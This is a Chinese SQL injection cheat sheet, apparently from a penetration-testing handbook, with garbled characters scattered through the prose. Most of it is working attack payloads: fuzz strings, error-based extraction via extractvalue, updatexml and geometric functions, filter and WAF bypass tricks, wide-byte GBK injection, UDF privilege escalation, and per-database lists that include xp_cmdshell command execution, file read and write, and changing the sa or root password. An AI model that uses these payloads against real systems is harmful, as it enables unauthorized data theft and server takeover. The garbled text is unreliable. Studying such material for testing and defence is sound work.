3.1.1 注入分類
??SQL注入是一種代碼注入技術(shù)倘屹,用于攻擊數(shù)據(jù)驅(qū)動(dòng)的應(yīng)用程序慢叨。 在應(yīng)用程序中纽匙,如果沒(méi)有做恰當(dāng)?shù)倪^(guò)濾,則可能使得惡意的SQL語(yǔ)句被插入輸入字段中執(zhí)行(例如將數(shù)據(jù)庫(kù)內(nèi)容轉(zhuǎn)儲(chǔ)給攻擊者)拍谐。
3.1.1.1. 按技巧分類
??根據(jù)使用的技巧哄辣,SQL注入類型可分為
- 盲注
- 布爾盲注:只能從應(yīng)用返回中推斷語(yǔ)句執(zhí)行后的布爾值
- 時(shí)間盲注:應(yīng)用沒(méi)有明確的回顯请梢,只能使用特定的時(shí)間函數(shù)來(lái)判斷
- 報(bào)錯(cuò)注入:應(yīng)用會(huì)顯示全部或者部分的報(bào)錯(cuò)信息
- 堆疊注入:有的應(yīng)用可以加入
;
后一次執(zhí)行多條語(yǔ)句 - 其他
3.1.1.2. 按獲取數(shù)據(jù)的方式分類
??另外也可以根據(jù)獲取數(shù)據(jù)的方式分為3類
- inband
- 利用Web應(yīng)用來(lái)直接獲取數(shù)據(jù)
- 如報(bào)錯(cuò)注入
- 都是通過(guò)站點(diǎn)的響應(yīng)或者錯(cuò)誤反饋來(lái)提取數(shù)據(jù)
- inference
- 通過(guò)Web的一些反映來(lái)推斷數(shù)據(jù)
- 如布爾盲注和堆疊注入
- 也就是我們通俗的盲注,
- 通過(guò)web應(yīng)用的其他改變來(lái)推斷數(shù)據(jù)
- out of band(OOB)
- 通過(guò)其他傳輸方式來(lái)獲得數(shù)據(jù)力穗,比如DNS解析協(xié)議和電子郵件
3.1.2 注入檢測(cè)
3.1.2.1. 常見(jiàn)的注入點(diǎn)
- GET/POST/PUT/DELETE參數(shù)
- X-Forwarded-For
- 文件名
3.1.2.2. Fuzz注入點(diǎn)
-
'
/"
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
-
+
-
^
*
%
/
-
<<
>>
||
|
&
&&
~
!
@
- 反引號(hào)執(zhí)行
3.1.2.3. 測(cè)試用常量
@@version
@@servername
@@language
@@spid
3.1.2.4. 測(cè)試列數(shù)
??例如 http://www.foo.com/index.asp?id=12+union+select+nulll,null--
毅弧,不斷增加 null
至不返回
3.1.2.5. 報(bào)錯(cuò)注入
select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)
3.1.2.5.1. 基于geometric的報(bào)錯(cuò)注入
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
-
multipolygon((select * from(select * from(select user())a)b))
??其中需要注意的是,基于exp函數(shù)的報(bào)錯(cuò)注入在MySQL 5.5.49后的版本已經(jīng)不再生效当窗,具體可以參考這個(gè) commit 95825f 够坐。
??而以上列表中基于geometric的報(bào)錯(cuò)注入在這個(gè) commit 5caea4 中被修復(fù),在5.5.x較后的版本中同樣不再生效崖面。
3.1.2.6. 堆疊注入
;select 1
3.1.2.7. 注釋符
#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/
3.1.2.8. 判斷過(guò)濾規(guī)則
- 是否有trunc
- 是否過(guò)濾某個(gè)字符
- 是否過(guò)濾關(guān)鍵字
- slash和編碼
3.1.2.9. 獲取信息
- 判斷數(shù)據(jù)庫(kù)類型
-
and exists (select * from msysobjects ) > 0
access數(shù)據(jù)庫(kù) -
and exists (select * from sysobjects ) > 0
SQLServer數(shù)據(jù)庫(kù)
-
- 判斷數(shù)據(jù)庫(kù)表
and exsits (select * from admin)
- 版本元咙、主機(jī)名、用戶名巫员、庫(kù)名
- 表和字段
- 確定字段數(shù)
- Order By
- Select Into
- 表名庶香、列名
- 確定字段數(shù)
3.1.2.10. 測(cè)試權(quán)限
- 文件操作
- 讀敏感文件
- 寫(xiě)shell
- 帶外通道
- 網(wǎng)絡(luò)請(qǐng)求
3.1.3 權(quán)限提升
3.1.3.1. UDF提權(quán)
??UDF(User Defined Function,用戶自定義函數(shù))是MySQL提供的一個(gè)功能简识,可以通過(guò)編寫(xiě)DLL擴(kuò)展為MySQL添加新函數(shù)赶掖,擴(kuò)充其功能。
??當(dāng)獲得MySQL權(quán)限之后七扰,即可通過(guò)這種方式上傳自定義的擴(kuò)展文件奢赂,從MySQL中執(zhí)行系統(tǒng)命令。
3.1.4 數(shù)據(jù)庫(kù)檢測(cè)
3.1.4.1. MySQL
- sleep
sleep(1)
- benchmark
BENCHMARK(5000000, MD5('test'))
- 字符串連接
SELECT 'a' 'b'
SELECT CONCAT('some','string')
- version
SELECT @@version
SELECT version()
- 識(shí)別用函數(shù)
connection_id()
last_insert_id()
row_count()
3.1.4.2. Oracle
- 字符串連接
'a'||'oracle' --
SELECT CONCAT('some','string')
- version
SELECT banner FROM v$version
SELECT banner FROM v$version WHERE rownum=1
3.1.4.3. SQLServer
- WAITFOR
WAITFOR DELAY '00:00:10';
- SERVERNAME
SELECT @@SERVERNAME
- version
SELECT @@version
- 字符串連接
SELECT 'some'+'string'
- 常量
@@pack_received
@@rowcount
3.1.4.4. PostgreSQL
- sleep
pg_sleep(1)
3.1.5 繞過(guò)技巧
- 編碼繞過(guò)
- 大小寫(xiě)
- url編碼
- html編碼
- 十六進(jìn)制編碼
- unicode編碼
- 注釋
-
//
--
-- +
-- -
#
/**/
;%00
- 內(nèi)聯(lián)注釋用的更多颈走,它有一個(gè)特性
/!**/
只有MySQL能識(shí)別 - e.g.
index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
-
- 只過(guò)濾了一次時(shí)
-
union
=>ununionion
-
- 相同功能替換
- 函數(shù)替換
-
substring
/mid
/sub
-
ascii
/hex
/bin
-
benchmark
/sleep
-
- 變量替換
-
user()
/@@user
-
- 符號(hào)和關(guān)鍵字
-
and
/&
-
or
/|
-
- 函數(shù)替換
- HTTP參數(shù)
- HTTP參數(shù)污染
-
id=1&id=2&id=3
根據(jù)容器不同會(huì)有不同的結(jié)果
-
- HTTP分割注入
- HTTP參數(shù)污染
- 緩沖區(qū)溢出
- 一些C語(yǔ)言的WAF處理的字符串長(zhǎng)度有限膳灶,超出某個(gè)長(zhǎng)度后的payload可能不會(huì)被處理
- 二次注入有長(zhǎng)度限制時(shí),通過(guò)多句執(zhí)行的方法改掉數(shù)據(jù)庫(kù)該字段的長(zhǎng)度繞過(guò)
3.1.6 SQL注入小技巧
3.1.6.1. 寬字節(jié)注入
??一般程序員用gbk編碼做開(kāi)發(fā)的時(shí)候立由,會(huì)用 set names 'gbk'
來(lái)設(shè)定轧钓,這句話等同于
set
character_set_connection = 'gbk',
character_set_result = 'gbk',
character_set_client = 'gbk';
??漏洞發(fā)生的原因是執(zhí)行了 set character_set_client = 'gbk';
之后,mysql就會(huì)認(rèn)為客戶端傳過(guò)來(lái)的數(shù)據(jù)是gbk編碼的锐膜,從而使用gbk去解碼聋迎,而mysql_real_escape是在解碼前執(zhí)行的。但是直接用 set names 'gbk'
的話real_escape是不知道設(shè)置的數(shù)據(jù)的編碼的枣耀,就會(huì)加 %5c
霉晕。此時(shí)server拿到數(shù)據(jù)解碼 就認(rèn)為提交的字符+%5c是gbk的一個(gè)字符,這樣就產(chǎn)生漏洞了捞奕。
??解決的辦法有三種牺堰,第一種是把client的charset設(shè)置為binary蜒灰,就不會(huì)做一次解碼的操作若皱。第二種是是 mysql_set_charset('gbk')
彩掐,這里就會(huì)把編碼的信息保存在和數(shù)據(jù)庫(kù)的連接里面酒唉,就不會(huì)出現(xiàn)這個(gè)問(wèn)題了。 第三種就是用pdo征字。
??還有一些其他的編碼技巧寻咒,比如latin會(huì)棄掉無(wú)效的unicode兄朋,那么admin%32在代碼里面不等于admin,在數(shù)據(jù)庫(kù)比較會(huì)等于admin渐溶。
3.1.7 CheatSheet
3.1.7.1. SQL Server Payload
- Version
SELECT @@version
- Comment
SELECT 1 -- comment
SELECT /*comment*/1
- Current User
SELECT user_name()
SELECT system_user
SELECT user
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
- List User
SELECT name FROM master..syslogins
- Current Database
SELECT DB_NAME()
- List Database
SELECT name FROM master..sysdatabases
- Command
EXEC xp_cmdshell 'net user'
- Ascii
SELECT char(0x41)
SELECT ascii('A')
-
SELECT char(65)+char(66)
=> returnAB
- Delay
-
WAITFOR DELAY '0:0:3'
pause for 3 seconds
-
- Change Password
ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'
3.1.7.2. MySQL Payload
- Version
SELECT @@version
- Comment
SELECT 1 -- comment
SELECT 1 # comment
SELECT /*comment*/1
- Current User
SELECT user()
SELECT system_user()
- List User
SELECT user FROM mysql.user
- Current Database
SELECT database()
- List Database
SELECT schema_name FROM information_schema.schemata
- List Tables>
SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
- List Columns
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
- If
-
SELECT if(1=1,'foo','bar');
return 'foo'
-
- Ascii
SELECT char(0x41)
SELECT ascii('A')
-
SELECT 0x414243
=> returnABC
- Delay
sleep(1)
SELECT BENCHMARK(1000000,MD5('A'))
- Read File
select @@datadir
select load_file('databasename/tablename.MYD')
- Blind
ascii(substring(str,pos,length)) & 32 = 1
- Error Based
select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
- Write File
union select 1,1,1 into outfile '/tmp/demo.txt'
union select 1,1,1 into dumpfile '/tmp/demo.txt'
- dumpfile和outfile不同在于辉浦,outfile會(huì)在行末端寫(xiě)入新行,會(huì)轉(zhuǎn)義換行符茎辐,如果寫(xiě)入二進(jìn)制文件宪郊,很可能被這種特性破壞
- Change Password
mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"
3.1.7.3. PostgresSQL Payload
- Version
SELECT version()
- Comment
SELECT 1 -- comment
SELECT /*comment*/1
- Current User
SELECT user
SELECT current_user
SELECT session_user
SELECT getpgusername()
- List User
SELECT usename FROM pg_user
- Current Database
SELECT current_database()
- List Database
SELECT datname FROM pg_database
- Ascii
SELECT char(0x41)
SELECT ascii('A')
- Delay
pg_sleep(1)
3.1.7.4. Oracle Payload
- dump
SELECT * FROM ALL_TABLES